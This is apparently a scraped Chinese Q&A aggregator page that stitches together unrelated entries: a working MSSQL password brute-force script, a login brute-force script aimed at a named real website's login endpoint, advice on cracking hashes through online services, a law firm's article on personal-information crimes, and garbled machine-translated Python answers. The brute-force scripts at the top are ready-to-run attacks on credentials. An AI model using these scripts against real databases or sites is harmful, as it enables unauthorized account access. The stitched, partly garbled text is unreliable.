python爆破
Mssql
Python版本爆破小腳本，需要安裝
MSSQL-python.exe
可以看出代碼量很少，用法：保存代碼為MssqlDatabaseBlasting.py，cmd切換到
MssqlDatabaseBlasting.py路徑下，並
執行
MssqlDatabaseBlasting.py即可開始破解
import
pymssql
common_weak_password
=
('','123456','test','root','admin','user')#密碼字典
mssql_username
=
('sa',
'test',
'admin',
'mssql')#賬號字典
success
=
False
host
=
"127.0.0.1"#資料庫IP地址
port
=
1443
for
username
in
mssql_username:
for
password
in
common_weak_password:
try:
db
=
pymssql.connect(server=host,
port=port,
user=username,
password=password)
success
=
True
if
success:
print
username,
password
except
Exception,
e:
pass
說明：看到很多網路安全愛好者，在進行滲透測試的時候，遇到資料庫可以遠程管理，但是無法破解其賬號密碼，所以此篇文章就推送幾個腳本進行滲透。
2. 如何用python寫一個不斷嘗試密碼達到網址登陸成功的源碼！
'''
# 提取登錄介面，觀察登錄失敗特徵，根據密碼txt不停嘗試，若返回結果沒有失敗特徵就表示成功
#（不保險的話，可以將所有嘗試結果記錄下來，人為判斷）
# 以藝龍登錄介面為例：https://secure.elong.com/passport/ajax/elongLogin
# 失敗特徵：介面返回內容包含"success":false
'''
import requests
# 把登錄介面、頭部、請求參數、密碼按列讀取為列表，都定義好
loginUrl = 'https://secure.elong.com/passport/ajax/elongLogin'
header = {"Content-Type": "application/x-www-form-urlencoded"}
postData = {"userName":"name","passwd":""}
with open('密碼.txt','r') as file:
pwdList = file.readlines()
# 循環更新密碼並發送請求，判斷返回內容是否包含失敗特徵
for pwd in pwdList:
postData["passwd"]=pwd
response=requests.request(method='POST',url=loginUrl,data=postData,headers=header)
resData = response.text
print resData
# find()返回-1時表示沒找到失敗特徵
if resData.find('"success":false') == -1:
print '正確密碼是：{}'.format(pwd)
break
3. 犯人每天寫日報告嗎
近年來，隨著互聯網的高速發展，公民個人信息和數據日趨成為社會發展的關鍵資源。在利益驅使下，侵犯公民個人信息、危害信息數據安全的行為與日俱增，如淘寶12億個人數據泄露案件、「暗網」兜售個人信息案件等等，其造成的後果也是十分嚴重。
基於此，我們應當重新審視刑事救濟手段在懲治侵犯公民個人信息過程中的重要性，並結合典型的案件，對相關罪名所涉及的手段和爭議焦點展開討論。本文對2016年以來，涉及侵犯公民個人信息相關犯罪的司法大數據進行分析和整理，梳理出圍繞公民個人信息的刑事犯罪案件數量、涉及罪名、典型案例及主要爭議焦點。一方面為行政機關開展「兩法銜接」工作提供指引，對於涉刑案件及時移送司法機關處理，另一方面也是向企業機構合規建設提供指引，避免陷入刑事風險。
11月，我國《個人信息保護法》正式實施，現在我國在公民個人信息數據保護方面已基本形成了「民、行、刑」三位一體的新時代安全防護網。當前，在我國的刑事司法以國家公權力保障社會公共利益和公民利益不受侵害，對個人信息的保護相較於行政、民事立法可以說是走在前列。筆者對近10年來，關於侵犯個人信息相關刑事犯罪的一審判決進行了匯總研究，用數字來展示我國個人信息刑事犯罪保護的發展趨勢，並結合典型案例對焦點問題進行總結。
個人信息立法不斷完善
為刑事司法救濟提供製度保障
（一）我國個人信息保護刑事立法的演變
我國個人信息的法律保護經歷了從以公法保護為主到日益重視私法保護的發展歷程。
2005年,第十屆全國人民代表大會常務委員會第十四次會議通過的《刑法修正案(五)》中増設的「竊取、收買、非法提供信用卡信息罪」(第177條之一第2款)是我國首個關於侵犯公民個人信息犯罪的法律規定。
2009年,第十一屆全國人民代表大會常務委員會第七次會議通過的《刑法修正案(七)》在《刑法》中新增第253條之一,首次將竊取或以其他方式非法獲取公民個人信息、出售或非法提供公民個人信息的行為情節嚴重的規定為犯罪行為,從而納入刑事打擊的范圍。
2015年，《刑法修正案(九)》對第253條之一作了修改:將「違反國家規定」修改為「違反國家有關規定」，同時對犯罪主體的不同身份作出區分，對於特殊身份主體，規定了從重處罰的原則。對處理個人信息中履行相關職責的人員提出了更高的要求。
2017年5月，針對近年來侵犯公民個人信息犯罪仍處於高發態勢,而且與電信網路詐騙、敲詐勒索、綁架等犯罪呈合流態勢,為加大對公民個人信息的保護力度,最高人民法院會同最高人民檢察院發布《關於辦理侵犯公民個人信息刑事案件適用法律若干問題的解釋》。該司法解釋根據法律規定和立法精神,對侵犯公民個人信息犯罪的定罪量刑標准和有關法律適用問題作出了全面、系統的規定。
（二）我國信息保護的法律法規相繼出台
2012年,《全國人民代表大會常務委員會關於加強網路信息保護的決定》對網路服務提供者和其他企業事業單位、國家機關及其工作人員在收集、使用、保管公民個人電子信息中應當遵循的原則、承擔的義務及法律責任作出了具體的規定。
2015年7月，《國家安全法》頒布實施，將數據安全保障提高到國家安全層面。強調國家建設網路與信息安全保障體系，提升網路與信息安全保護能力，實現網路和信息核心技術、關鍵基礎設施和重要領域信息系統及數據的安全可控；加強網路管理，防範、制止和依法懲治網路攻擊、網路入侵、網路竊密、散布違法有害信息等網路違法犯罪行為，維護國家網路空間主權、安全和發展利益。
2017年6月，《網路安全法》正式實施，其在第四章「網路信息安全」中對個人信息的收集、存儲、保管和使用進行了更全面的規范。對於侵犯個人信息的責任承擔問題,雖然該法主要還是規定了網路運營者違反各種保護個人信息的法定義務的行政法律責任。
2021年1月，《民法典》正式實施，民法典明確了個人信息的定義和范圍；明確了個人信息的處理范圍、要求及原則，以及免責情形；明確了個人信息主體權利，規定信息處理者義務；完善對患者的隱私及個人信息保密責任等等。
2021年9月，《數據安全法》生效實施，《數據安全法》是我國第一部有關數據安全的專門法律，首次將數據安全全局決策統籌工作升格至中央國家安全領導機構，其上位法是《國家安全法》，這一法規確立了「國家核心數據」的概念，與「重要數據」「其他數據」形成責任界定，並且優化了數據出境的規則。
2021年11月，《個人信息保護法》正式實施，個人信息保護法首次在我國確立一整套系統的個人信息保護法律制度，彌補以前立法的缺陷。既從我國實際出發，將實踐中行之有效的做法和措施上升為法律規范；又充分借鑒有關國際組織和國家、地區的有益做法，體現立法的前瞻性和完整性。
至此，我國個人信息保護形成以《刑法》《國家安全法》《網路安全法》《數據安全法》《民法典》《個人信息保護法》為主導的，全領域、多層次的保護體系，構建中國信息及數據安全領域的法律框架。
樣本情況及數據分析
（一）從2017年開始爆發式增長
本次檢索在Alpha資料庫中，以「侵犯公民個人信息」「數據「為關鍵詞，獲取了自2011年至今的一審刑事裁判文書，共計5624篇裁判文書。以此作為我們本次分析的樣本數據，並重點分析自2016年以來，我國個人信息刑事司法保護的發展和趨勢。
圖表 1涉個人信息類刑事案件數量趨勢
通過圖表1我們可以看出，侵犯個人信息類刑事犯罪案件數量呈現爆發式增長。特別是在2017年，成為了我國個人信息刑事保護的關鍵起點。
因為在這一年，最高法、最高檢發布《關於辦理侵犯公民個人信息刑事案件適用法律若干問題的解釋》，開啟了我國涉個人信息刑事保護新時代。因此從2017年開始，案件增幅速度明顯呈現爆發式增長。同時，這也體現出了立法者和司法機關通過司法解釋避免法的滯後性，緊追大數據、互聯網時代的大趨勢，堅決打擊侵犯公民個人信息的態度和決心。
（二）案涉地域以沿海發達城市為主
（本次統計將案件涉及的全部犯罪實施地和犯罪結果發生地區均統計為犯罪地，因此犯罪地數據可能大於案件樣本總數）
通過對犯罪地統計可以看出，在涉及侵犯公民個人信息的刑事類案件中，案發地所涉省市前五名，有四個省市位於我國南方的沿海城市，並且是經濟大省江浙滬以及廣東省，而另外一個河南省則是我國的人口大省。其中有4223件次涉及到江浙滬地區，可以說，江浙滬會成為個人信息刑事保護的前沿陣地。
該項數據更多的反映出了在侵犯公民個人信息的刑事類案件中，人口密集、經濟發達的地區案發概率更高。同時對於該類案件的刑事偵查手段和司法裁判也相較於其他地區走在前列，刑事打擊力度也相對較大，司法保護力度也會更有成效。
接下來，其他地區將會借鑒江浙滬粵等地區的工作經驗，逐漸追趕上來，掀起個人信息刑事保護的新增長趨勢。
（三）侵犯公民個人信息手段多樣，涉及罪名廣泛
在侵犯公民個人信息案件中，被告人實施侵犯個人信息的手段是多種形式的。
一種是以獲取公民個人信息為犯罪客體。其目的就是為了獲取公民的個人信息，從而轉賣、轉售獲得非法利益。如侵犯公民個人信息罪，以4476件占據了此類案件的決對多數。
隨著信息存儲的數字化、數據化以及網路化，更多的被告人採取非法侵入計算機系統程序、破壞計算機信息系統、非法獲取計算機信息系統數據的方式實施侵犯公民個人信息的犯罪，不僅觸犯侵犯公民個人信息罪，同時也會觸犯非法侵入計算機系統程序罪等罪名。
另一種是以獲取公民個人信息為犯罪工具。其目的是利用個人信息實施具體的違法犯罪活動。如典型的電信詐騙、信用卡詐騙等。我們可以看出採用違法收集的公民個人信息的行為實施詐騙的案件數量有560件。特別是在跨境網路電信詐騙過程中，採用非法獲取、購買的個人信息實施詐騙近年來不斷攀升。為此，2021年10月19日《中華人民共和國反電信網路詐騙法（草案）》提請十三屆全國人大常委會初次審議。這說明我國已經將打擊電信網路詐騙提高到了空前的高度。
（四）個罪趨勢及典型案例分析
侵犯公民個人信息罪
2017年《解釋》的發布實施，以侵犯公民個人信息罪定罪處罰的案件數量大幅提升，2019年達到了峰值，2021年由於大部分案件尚未審結，但是隨著當下《個人信息保護法》的正式實施以及數據安全提升到國家安全的程度上來，未來一段時間內，侵犯公民個人信息罪的案件數量仍會持續在較高的水平，但是新增犯罪數量必然會隨著監管的加強而逐漸減少，待兩三年內存量犯罪案件查辦處理後，該案涉案數量將會回落至常態。
典型案例
王某侵犯公民個人信息案
「私家偵探」非法獲取並出售特定自然人個人信息
構成侵犯公民個人信息罪
基本案情
2019年3月，呂某找到「私家偵探」王某，僱傭王某調查自己的丈夫。在五個月里，王某通過跟蹤拍照、查詢開房記錄、定位手機等方式，獲取了呂某丈夫的行蹤軌跡、住宿信息等公民個人信息。憑借這些信息，王某從呂女士處先後收取酬金共計6.4萬元。
2019年9月，王某被警方抓獲，經查，王某在此次案發前，就在從事類似的違法活動。
最終法院以侵犯公民個人信息罪，判處王某有期徒刑2年6個月，罰金10萬元，並繼續追繳其6.4萬元違法所得。
典型意義
本案中，對於接受個人委託，獲取並出售特定自然人個人信息給單一委託人、數據未向不特定群體披露的情形，是否屬於侵犯公民個人信息罪進行了確認。兩級法院經審理認為，王某的行為具有嚴重的社會危害性，其接受呂某的委託實施本案行為，並不能排除其行為的違法性，因此對於此類「私家偵探」的非法調查個人信息的行為，已經納入刑事打擊的范圍之內。
典型案例
張某某侵犯公民個人信息案
依法公開的企業法定代表人、
相關負責人信息不屬於公民個人信息
基本案情
2016年9月至2017年4月期間，被告人張某某在重慶市融信天下信息技術有限公司（以下簡稱融信天下公司）擔任業務員。為了拓展貸款業務，其通過QQ從他人處非法獲取信息79921條，其中包括姓名、業主樓號、住宅套內面積、聯系方式等內容的財產信息1940條；包括姓名、身份證號碼、貸款記錄、聯系方式等內容的交易信息588條；包括企業及法人、相關負責人信息73244條；一般公民個人信息4149條。通過QQ提供給他人包括姓名、電話號碼等內容的信息278324條，其中包含車主姓名、身份證號碼、上戶日期、車型、車牌號、車架號、住址、聯系方式等內容的財產信息1318條；包括姓名、業主樓號、住宅建築面積、聯系方式等內容的財產信息37條；包括企業及法人、相關負責人信息267580條；一般公民個人信息9389條。2017年4月11日，被告人張某某被公安機關抓獲，其到案後如實供述了上述事實。
重慶市渝中區人民法院經審理認為，以被告人張某某犯侵犯公民個人信息罪，判處有期徒刑3年，緩刑4年，並處罰金5000元。
典型意義
認定企業法定代表人信息是否屬於公民個人信息，應先對公民個人信息的入罪范圍進行實質界定。
首先，從保護法益角度出發，公民個人信息被侵犯後將給公民的人身財產安全帶來重大風險。而對外公開的企業法定代表人相關信息屬於向社會公示範圍，並沒有違背其本人不予公開的真實意思表示。這類信息的對外公開表明企業法定代表人讓渡出部分個人權益，概括同意該信息自由流通，保護價值降低。因此，從保護法益角度來講，企業法定代表人信息不屬於公民個人信息。
其次，從公民個人信息的類型劃分來探究不同類型信息的內在屬性。在公示的企業法定代表人信息中有相當部分僅為法定代表人的姓名和手機號碼，它既不同於財產信息、交易信息等敏感信息，又不同於一般公民個人信息，無法識別特定自然人身份或反映特定自然人活動情況，故不應認定為刑法規范中的公民個人信息。
詐騙罪
近年來，電信網路詐騙案件高發，特別是通過非法獲取公民個人信息之後，再冒充公檢法向其本人、親友實施詐騙活動，既包括侵犯公民個人信息的行為，同時又觸犯了詐騙罪，應當數罪並罰。此類案件隨著我國打擊電信網路詐騙力度加強，嚴格互聯網運營商、服務商監管義務，並且隨著個人信息保護的加強，對個人信息泄露的渠道封堵，該類案件在未來將會在一定程度上減少。但是鑒於跨境互聯網犯罪打擊難度較大，很難在短時間內快速顯現成效。
典型案例
章某某等詐騙、侵犯公民個人信息案
非法獲取公民個人信息後，實施電信網路詐騙等犯罪
構成數罪的，依法予以並罰
基本案情
2016年初，被告人章某某到廣東省河源市租住源城區建設大道德欣豪庭C2棟1201室，准備手機等作案工具並通過互聯網非法購買公民個人信息12555條。
2016年3月至4月間，被告人章某某先後僱傭被告人汪某某等三人在該租房內，通過撥打章某某事先從網上購買的學生個人信息上的家長聯系電話，冒充「學校教務處」、「教育局」工作人員，以獲取國家教育補貼款為由，誘騙學生家長持銀行卡到ATM機上轉賬至章某某掌控的銀行賬戶，從中獲取錢財。至被查獲時，共撥打詐騙電話4392人次，騙取116200元。
2016年4月期間，被告人章某某還夥同他人利用同樣的手段實施詐騙行為，至被查獲時，共撥打詐騙電話807人次，騙取他人錢財近3000元。
2016年12月14日，安溪縣人民法院作出一審判決，以詐騙罪、侵犯公民個人信息罪判處被告人章某某有期徒刑五年，並處罰金人民幣三萬八千元；其他3名被告人以詐騙罪分別被判處一年至二年九個月不等有期徒刑，並處罰金。
典型意義
打擊利用互聯網出售、提供、非法獲取公民個人信息等侵犯公民個人信息犯罪，切斷其與電信網路詐騙等犯罪的犯罪鏈條，從源頭上預防和減少犯罪發生，具有重要意義。
本案中章某某等人通過網路及QQ向他人購買學生個人信息，撥打學生家長電話，先後冒充學校及教育局工作人員，以領取學生助學補助金為幌子，騙取錢財，不僅侵犯了學生及學生家長的個人信息和財產安全，還破壞了學校的正常教學秩序和教育系統聲譽，社會危害極大。隨著《反電信網路詐騙法》草案的徵求意見，此類案件將會持續納入司法機關重點打擊的對象。
幫助信息網路犯罪活動罪
2015年《刑法修正案（九）》新增「幫助信息網路犯罪活動罪」，該罪名被普遍認為是幫助犯的正犯化，新增該法條目的是單獨對幫助信息網路犯罪活動進行確認和定性，加強對幫助行為的打擊力度。在樣本數據中，共有47件案件涉及到公民個人信息問題。
在對該類犯罪行為定罪定性的過程中，需要重點考慮兩個方面：一方面要考慮法條競合的問題，即根據刑法第二百八十七條之二第三款（幫助信息網路犯罪活動罪）：「同時構成其他犯罪的，依照處罰較重的規定定罪處罰。」另一方面，案件涉及到的「信息」是否屬於法律所保護的公民個人信息的范疇。
典型案例
王某某犯幫助信息網路犯罪活動罪案
出售公民自願提供的公民個人信息
不屬於侵犯公民個人信息
基本案情
2020年4月份，被告人王某某明知他人收購電話卡用於信息網路犯罪，通過「藍牙工作室」網路招聘成為一名「開卡代理」，其以每張60元的價格讓其親朋好友及他人開通了164張手機卡，後再以每張100元至140元不等的價格將164張手機卡賣給「藍牙工作室」「卓越」「擼擼移動聯盟」等微信用戶，違法所得共計14430元，其中非法獲利4590元。王某某所售手機卡之一被用於詐騙被害人翟某所用。案發後，王某某退出非法獲利4590元。
濮陽市華龍區人民法院於2020年11月30日，以被告人王某某犯幫助信息網路犯罪活動罪，判處有期徒刑八個月，緩刑一年，並處罰金人民幣一萬元。
典型意義
濮陽市華龍區人民法院認為，公訴機關指控王某某犯侵犯公民個人信息罪的罪名不當，本院認為王某某對外提供的手機卡號均系卡主自願、真實開通，其並沒有侵犯到卡主的個人信息，但其將開通的手機卡號提供給他人用於實施網路犯罪，其行為侵犯的客體符合幫助信息網路犯罪活動罪的構成要件，而非侵犯公民個人信息罪的構成要件，應認定王某某犯有幫助信息網路犯罪活動罪。
利用計算機信息技術相關犯罪
近年來，隨著python等計算機語言的快速普及，利用爬蟲技術等簡單的技術手段便可以通過互聯網獲取大量數據，並且隨著個人信息數據的價值不斷增加，鋌而走險採用侵入計算機系統、獲取計算機信息系統數據的違法犯罪行為的數量在2017年以後也呈現不斷增長的趨勢。在涉及個人信息數據犯罪方面，以非法侵入、非法控制計算機信息系統的行為案件數量增長趨勢最為明顯。
典型案例
解某某侵犯公民個人信息、
非法獲取計算機信息系統數據案
非法獲取計算機信息系統數據罪
與侵犯公民個人信息罪辨析
基本案情
2017年7月至10月，被告人解某某使用「滅天戰神」「遠程爆破」等黑客軟體攻擊他人計算機信息系統，並將破解的計算機IP地址、賬號、密碼及公民個人信息向他人出售。
2017年7月，在天津市東麗區一無名網吧，被告人解大偉使用上述方法攻擊他人計算機信息系統，侵入貴州省貴陽市雲岩區周某某經營的中國移動代辦點的計算機信息系統及王某經營的通訊經營部的計算機信息系統，非法獲取他人身份證照片、電話號碼等公民個人信息510條，並存儲於其網路雲網盤中，後將上述個人信息向他人販賣。
2017年7、8月，在天津市北辰區小淀鎮某網吧，被告人解大偉在QQ群內下載「公安資料庫」「公安局的褲子」「教育局」「學生數據」等共享文件，並儲存於其騰訊微雲網盤中。其中「公安局資料庫」及「公安局的褲子」文件共含有公民個人信息2342條、「教育局」文件含有公民個人信息1339條、「學生數據」文件含有公民個人信息12154條。
2017年7月，在天津市東麗區一無名網吧，被告人解大偉使用上述方法侵入他人計算機信息系統，非法獲取12306網站登錄賬號、密碼等身份認證信息及姓名、居民身份證號碼、聯系電話、電子郵箱等公民個人信息共計13組，並儲存於其騰訊微雲網盤中。2017年10月18日，被告人被公安機關抓獲歸案。
天津市北辰區人民法院於2018年9月20日作出天津市北辰區人民法院（2018）津0113刑初156號刑事判決：被告人解大偉犯侵犯公民個人信息罪，判處有期徒刑一年，並處罰金5000元；犯非法獲取計算機信息系統數據罪，判處有期徒刑四年六個月，並處罰金20000元，數罪並罰，決定執行有期徒刑五年，並處罰金25000元。
典型意義
如何辨析非法獲取計算機信息系統數據罪與侵犯公民個人信息罪？通過網路非法獲取的信息中有可能包含公民個人信息，也就是說非法獲取計算機信息系統數據的行為在一些情況下是侵犯公民個人信息罪的手段行為，所以兩罪之間存在一定的競合關系。而這種競合是因「一行為侵害數個獨立之法益，致觸犯數個罪名，同時具有數罪之性質」。也就是說，兩罪之間的競合由於一個犯罪行為侵害多個法益所在，是想像競合關系。
但兩罪之間又存在諸多不同點，存在實質性差別，成為司法實踐中構成不同罪名進行處斷的依據。如何根據獲取的「個人信息」性質不同，區分侵入他人計算機信息系統非法獲取他人身份信息的行為應如何定罪？合議庭經合議後認為，被告人解大偉侵入他人計算機信息系統，非法獲取12306網站登錄賬號、密碼等身份認證信息共計13組的行為，同時符合非法獲取計算機信息系統數據罪與侵犯公民個人信息罪的犯罪構成，應按照想像競合從一重規則進行處理；其實施的侵入他人計算機信息系統，非法獲取他人身份證照片、電話號碼等公民個人信息510條及在QQ群內下載「公安資料庫」等文件獲取公民信息15835條的行為，與上述犯罪行為在犯罪性質上有所區分，僅侵犯了公民個人信息隱私權，應認定為侵犯公民個人信息罪一罪。
特殊主體侵犯公民個人信息相關犯罪
2015年《刑法修正案（九）》新增了對於侵犯公民個人信息罪中特殊主體的規定：「違反國家有關規定，將在履行職責或者提供服務過程中獲得的公民個人信息，出售或者提供給他人的，依照前款的規定從重處罰。」
這里的「履行職責或者提供服務」的人員不僅限於公職人員，對於酒店從業人員、互聯網運營管理人員等均屬於該特殊主體的范疇之內。當前，各監管機構對於互聯網APP的治理是一項急切的工作。對於互聯網企業而言，作為個人信息收集、處理、使用的第一責任人，如果在強監管之下仍然抱著僥幸心理，不切實履行自身的法律義務，放任侵犯公民個人信息事件的發生，屆時受到追訴的不僅僅是具體工作人員，整個企業都有可能陷入刑事風險。
在國家機關的數據保護義務方面，《數據安全法》《個人信息保護法》也都分別作出了相應的規定。
典型案例
馮某某受賄案
公職人員利用職務便利侵犯公民個人信息權的
罪名適用
基本案情
2017年6月至8月間，馮某某利用擔任某法院執行三庭法官助理的職務便利，接受社會人員曹某請托，違規使用法院協助查詢存款通知書及工作證件等，多次在中國工商銀行知春路支行等多家銀行查詢與案件無關的公民個人銀行賬戶信息共計300餘條，將200餘條銀行查詢結果非法提供給曹某，並因此收受曹某給予的好處費共計人民幣8．35萬元。
2018年7月3日，北京市第二中級法院作出維持原判裁定，即判處馮某某有期徒刑一年六個月，罰金人民幣十萬元；犯濫用職權罪，判處有期徒刑一年，決定執行有期徒刑二年，罰金人民幣十萬元。二、在案之人民幣十一萬三千五百元，予以沒收。
典型意義
一是侵犯公民個人信息的行為與濫用職權的行為的罪名適用問題。馮某某的行為不僅觸犯了濫用職權罪，同時還符合了侵犯公民個人信息罪的構成要件，屬於犯罪行為的想像競合。濫用職權罪、侵犯公民個人信息罪主刑的法定刑幅度相同，盡管侵犯公民個人信息罪規定附加判處罰金刑，但考慮到馮力文身份的特殊性，其犯罪行為具有突出的職權屬性，因此以濫用職權罪擇一重罪處罰。
二是受賄罪與濫用職權罪數罪並罰是否屬於重復評價？受賄罪和濫用職權罪均與國家工作人員的職務行為密切相關。然而，受賄罪重在懲罰被告人收受財物的行為對國家工作人員職務行為廉潔性的損害，濫用職權罪則重在懲處被告人不正當行使職權對公共財產、國家和人民利益造成了重大損失。故兩罪雖相互關聯，又具有獨立性，數罪並罰不存在重復評價的問題。
當前，數據已經成為重要的生產要素之一。我國數據及公民個人信息保護經過多年的沉澱和積累，正處於質變的過程，並且隨著互聯網技術的不斷發展以及元宇宙等依靠數據支撐的產業的持續爆火，各領域圍繞個人信息數據爭奪的熱情在短時間內不會消減。因此，我們認為涉及公民個人信息的刑事犯罪案件數量在未來幾年內仍然會保持較高的水平。無論是對於個人還是企業而言，仍然要持續關注個人信息刑事保護的法律適用與政策研究，緊緊跟隨這個大變革、大發展的時代潮流。
·律師介紹
龐理鵬
北京策略律師事務所 黨支部書記、執行主任、合夥人
數據合規項目組負責人
策略區塊鏈與數字經濟爭議調解中心負責人
EXIN數據保護官(DPO)&信息安全官(ISO)雙認證律師、授權講師
田浩男
北京策略律師事務所 執業律師
擁有多年檢察機關、紀檢監察機關工作經驗
特別 聲明： 以上 僅代表筆者個人觀點，不 代表 策略 律師 及策略律師事務所 出具的 任何形式之 法律意見。 如有意向就相關議題進一步交流 探討，歡迎與本所 聯系！
4. 利用python寫一個對加密word文檔爆破的小程序，在調用Documents.Open（）函數時
可以 w = input('隨便寫個文件名：') f = open('e:/' + w + '.txt' , 'w')
5. Python實驗操作題，急急急
（1）with as f
（2）with as f i in range（10） f.write(str(i))
2.以追加的方式打開E:\aa.txt文件，任意寫入文字，以「end」作為結束標志。
with open(r'E:\aa.txt', 'a') as f:
for i in range(10):
f.write('任意字元')
3. 打開e:\aa.txt文件，並把該文件的內容復制到e:\bb.txt文件中去。
with open(r'e:\aa.txt') as f:
content = f.read()
with open(r'e:\bb.txt', 'a') as f:
f.write(content)
6. python 有什麼模塊可以解密的：
.....hash密文是沒有辦法逆運算的,只有猜解, python對於這類只有加密演算法,沒有解密演算法,不只有python ,- - 估計程序語言都是這樣,因為hash是不可逆的。
如果硬要破解,只要爆破猜解,這樣子的網站有很多,你可以收集起來用python做個工具,利用這些網站來破解密碼
7. 如何用python表示三角函數
Python編碼下面的三角函數包括以下種類：acos(x)//返回x的反餘弦弧度值。asin(x)//返回x的反正弦弧度值。atan(x)//返回x的反正切弧度值。atan2(y,x)//返回給定的X及Y坐標值的反正切值。cos(x)//返回x的弧度的餘弦值。hypot(x,y
描述
sin()返回的x弧度的正弦值。
語法
以下是sin()方法的語法:
importmath
math.sin(x)
注意：sin()是不能直接訪問的，需要導入math模塊，然後通過math靜態對象調用該方法。
參數
x--一個數值。
返回值
返回的x弧度的正弦值，數值在-1到1之間。
實例
以下展示了使用sin()方法的實例：
#!/usr/bin/python
import math
print "sin(3) : ", math.sin(3)
print "sin(-3) : ", math.sin(-3)
print "sin(0) : ", math.sin(0)
print "sin(math.pi) : ", math.sin(math.pi)
print "sin(math.pi/2) : ", math.sin(math.pi/2)
以上實例運行後輸出結果為：
sin(3) : 0.14112000806
sin(-3) : -0.14112000806
sin(0) : 0.0
sin(math.pi) : 1.22460635382e-16
sin(math.pi/2) : 1
總結
以上就是本文關於Python入門之三角函數sin()函數實例詳解的全部內容，希望對大家有所幫助。感興趣的朋友可以繼續參閱本站：python正則表達式re之compile函數解析、Python中enumerate函數代碼解析、簡單了解Python中的幾種函數等，有什麼問題可以隨時留言，小編會及時回復大家的。感謝朋友們對本站的支持！
8. 如何同步一個python字典有多重
介紹
似乎有很多的扶手椅建議和沒有工作的例子。沒有列在下面，甚至多重的答案，這是頗有幾分失望和不安。由於python愛好者，我們應該支持我們的內置庫，並同時並行處理和同步從來都不是小事，我相信它可以製成瑣碎與適當的設計。這是很重要的現代多核架構，並且不能夠underline！話雖如此
CodeGo.net，我遠遠滿足多處理庫，它仍然是處於起步階段的階段與不少缺陷，錯誤，並正在面向函數式編程（我討厭）。目前我還是比較喜歡火焰兵模塊（這是遙遙領先其對多重的因無法在伺服器運行時共享新創建的對象多處理的嚴重限制。「注冊」的管理對象只能實際注冊一個對象之前管理（或伺服器）開始數落夠了，更多的代碼：
Server.py
from multiprocessing.managers import SyncManager
class MyManager(SyncManager):
pass
syncdict = {}
def get_dict():
return syncdict
if __name__ == "__main__":
MyManager.register("syncdict", get_dict)
manager = MyManager(("127.0.0.1", 5000), authkey="password")
manager.start()
raw_input("Press any key to kill server".center(50, "-"))
manager.shutdown()
多重的SyncManager，可以提供同步共享對象的Server.py在上面的代碼示例。此代碼將不能工作在解釋多處理庫是如何找到「可贖回」為每個注冊的對象相當棘手的運行。運行Server.py將啟動一個定製SyncManager共享多個進程的syncdict字典，並且可以連接到客戶端機或者機器上，或者，如果運行在比回環，其他機器的其他的IP地址。在這種情況下，伺服器運行在環回（127.0.0.1）埠5000。操作syncdict當使用authkey使用安全連接。當任何一個鍵被按下的管理是關機。
Client.py
from multiprocessing.managers import SyncManager
import sys, time
class MyManager(SyncManager):
pass
MyManager.register("syncdict")
if __name__ == "__main__":
manager = MyManager(("127.0.0.1", 5000), authkey="password")
manager.connect()
syncdict = manager.syncdict()
print "dict = %s" % (dir(syncdict))
key = raw_input("Enter key to update: ")
inc = float(raw_input("Enter increment: "))
sleep = float(raw_input("Enter sleep time (sec): "))
try:
#if the key doesn't exist create it
if not syncdict.has_key(key):
syncdict.update([(key, 0)])
#increment key value every sleep seconds
#then print syncdict
while True:
syncdict.update([(key, syncdict.get(key) + inc)])
time.sleep(sleep)
print "%s" % (syncdict)
except KeyboardInterrupt:
print "Killed client"
客戶端端還必須創建一個自定義的SyncManager，注冊「syncdict」，這個沒有傳入一個可調用來檢索共享字典。它定製到5000埠的環回IP地址（127.0.0.1）和authkey建立與管理的安全連接開始Server.py。它通過調用注冊的調用上的管理器檢索共享字典syncdict。它提示如下：
在syncdict的關鍵，操作上
該款項由鍵訪問時的值每個周期
在幾秒鍾內每個周期sleep的金額
然後，客戶端端會檢查看是否存在的關鍵。如果它不它創建的syncdict關鍵。然後，客戶端端進入一個「沒完沒了」循環，它會更新密鑰的值由指定的金額sleep，並列印syncdict只是直到KeyboardInterrupt發生（CTRL
+C）重復此過程。
惱人的問題
該管理器啟動，否則你會得到異常，即使在管理器中的目錄調用就會發現，它確實是有被注冊前管理人必須被調用。
該詞典的所有的操作一定要做的，不是字典（syncdict [「爆破」]=2就會失敗的路多處理器共享自定義對象）
使用SyncManager的將減輕惱人的問題＃2，除了惱人的問題＃1防止由SyncManager.dict（）被注冊和共享返回的代理。
（SyncManager.dict（）只能被稱為後的管理器啟動，並注冊只會工作的管理開始之前這樣SyncManager.dict（）是做函數式編程和通過代理進程作為一個像文檔的例子做的時候）
在伺服器和客戶端端必須注冊，即使直覺它會看起來像客戶端端將只能夠連接到管理後，看著辦吧（請添加到您的願望清單多處理開發人員）
閉幕
我希望你喜歡這個相當徹底，稍有回答，就像我有。我有一個很大的trouble直在我的腦海，為什麼我掙扎了這么多的多處理模塊，其中火焰兵是一件輕而易舉的，現在多虧了這個答案我已經擊中了要害。我希望這給如何提高多處理器模塊，因為我相信它有一個很大的承諾，但處於起步階段達不到什麼是可能的。盡管描述的惱人的問題，我認為這仍然是一個相當可行的替代方案，是非常簡單的。你可以SyncManager.dict（），並把它傳遞給進程作為該文檔顯示方式，它很可能是一個更簡單的解決方案，根據您的它只是感覺不自然
2.
有沒有字典需要被擺在首位共享的理由嗎？你可以有每一個線程維護自己的字典，並在線程處理或個別線程字典在一起的回撥副本年底實例？
我不知道到底你在做什麼，所以請我的，我的書面計劃可能無法正常工作一字不差。什麼我的建議是更多的是一種高層次的設計理念。
3.
我將致力於一個單獨的進程，以維護「共享字典」：例如： xmlrpclib使代碼提供給其他進程少量，通過xmlrpclib如暴露一個函數，該函數key, increment執行和一個剛服用的key和返回值，用語義細節（是否有丟失的鑰匙，等，等一個默認值），這取決於你的應用程序的需求。
那麼你任何你喜歡的共享專用字典過程方法：從一個簡單的字典一個單線程的伺服器一直到一個簡單的sqlite的資料庫，等等，等等，我建議你開始與代碼「就這么簡單，你可以得到破除「（取決於你是否需要一個永久共享字典，或持久性是沒有必要給你），和，如果需要優化。
4.
響應於適當的溶液中，以並行寫入的問題。我做了非常快速的研究，發現這篇文章是在暗示一個鎖定/信號的解決方案。 （
雖然這個例子是不是特異性的一本字典，我敢肯定，你可以編寫一個基於類的包裝對象，以幫助您基於這種想法詞典的工作。
如果我有一個喜歡這個以線程安全的方式，我倒是Python的信號量解決方案。 （假設我的技術是行不通的。）我相信，信號量普遍放緩，由於其性質阻塞線程的效率。
從網站：
